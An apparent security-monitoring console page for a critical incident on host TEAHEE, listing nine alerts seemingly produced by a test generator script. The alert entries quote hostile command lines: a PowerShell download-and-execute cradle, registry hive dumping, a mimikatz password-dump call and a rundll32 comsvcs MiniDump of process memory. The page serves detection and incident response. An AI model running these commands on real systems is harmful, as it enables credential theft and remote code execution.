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Critical CINC-20251221-7E5E00D7 new

Aggregate ID: aggind:47186ef241ea495885522e5d4930eda3:9217622890

Incident Overview

Incident ID CINC-20251221-7E5E00D7
Severity Critical (90)
Status new
Alert Count 9
Host Count 1

Timeline

First Seen 2025-12-22 07:07:19
Last Seen 2025-12-22 07:08:16
Duration 0d 0h 0m
Created 2025-12-22 08:36
Updated 2026-01-13 15:14

Kill Chain Analysis

Rec... Ini... Exe... Per... Pri... Def... Cre... Dis... Lat... Col... Com... Exf... Imp...
Observed Tactics:
Execution Credential Access Defense Evasion
Techniques:
User Execution PowerShell OS Credential Dumping Rundll32

Affected Hosts (1)

TEAHEE

Related Alerts (9)

Severity Status Hostname Description Tactic Command Line Time
Informational new TEAHEE A process has written a known EICAR test file. Review the files written by the triggered process. Execution "python" mega_incident_generator.py --rounds 2 --interval 30 12-22 07:08
High new TEAHEE A PowerShell process downloaded and launched a remote file. This is often the result of a malicious macro designed to drop a variety of second stage payloads. Review the command line. Execution C:\WINDOWS\system32\cmd.exe /c "powershell -c "IEX (New-Object Net.WebClient).DownloadString('http://127.0.0.1/ps')"" 12-22 07:08
Critical new TEAHEE A process saved the Security Account Manager SAM or SYSTEM hive to disk. If this is unexpected, it likely indicates credential theft. Investigate the process tree. Credential Access reg save HKLM\SECURITY C:\Users\dokji\AppData\Local\Temp\security.hiv 12-22 07:08
Critical new TEAHEE A process saved the Security Account Manager SAM or SYSTEM hive to disk. If this is unexpected, it likely indicates credential theft. Investigate the process tree. Credential Access reg save HKLM\SECURITY C:\Users\dokji\AppData\Local\Temp\security.hiv 12-22 07:08
High new TEAHEE A process appears to be launching mimikatz, a password dumping utility. mimikatz's primary purpose is to steal passwords. If credentials were dumped, change your passwords and investigate further. Credential Access C:\WINDOWS\system32\cmd.exe /c "powershell -c "sekurlsa::logonpasswords"" 12-22 07:08
High new TEAHEE Rundll32 launched with unusual arguments. This occasionally results from applications misusing rundll32, but it might be malware preparing to hollow out the process or abusing it to launch a malicious payload. Review the command line and the process tree. Defense Evasion rundll32 comsvcs.dll MiniDump 123 C:\Users\dokji\AppData\Local\Temp\dump.dmp full 12-22 07:08
Critical new TEAHEE A process appears to be accessing credentials and might be dumping passwords. If this is unexpected, review the process tree. Credential Access rundll32 comsvcs.dll MiniDump 123 C:\Users\dokji\AppData\Local\Temp\dump.dmp full 12-22 07:08
High new TEAHEE Rundll32 launched with unusual arguments. This occasionally results from applications misusing rundll32, but it might be malware preparing to hollow out the process or abusing it to launch a malicious payload. Review the command line and the process tree. Defense Evasion C:\WINDOWS\system32\cmd.exe /c "rundll32 comsvcs.dll MiniDump 123 C:\Users\dokji\AppData\Local\Temp\dump.dmp full" 12-22 07:08
Informational new TEAHEE A process has written a known EICAR test file. Review the files written by the triggered process. Execution "python" mega_incident_generator.py --rounds 2 --interval 30 12-22 07:07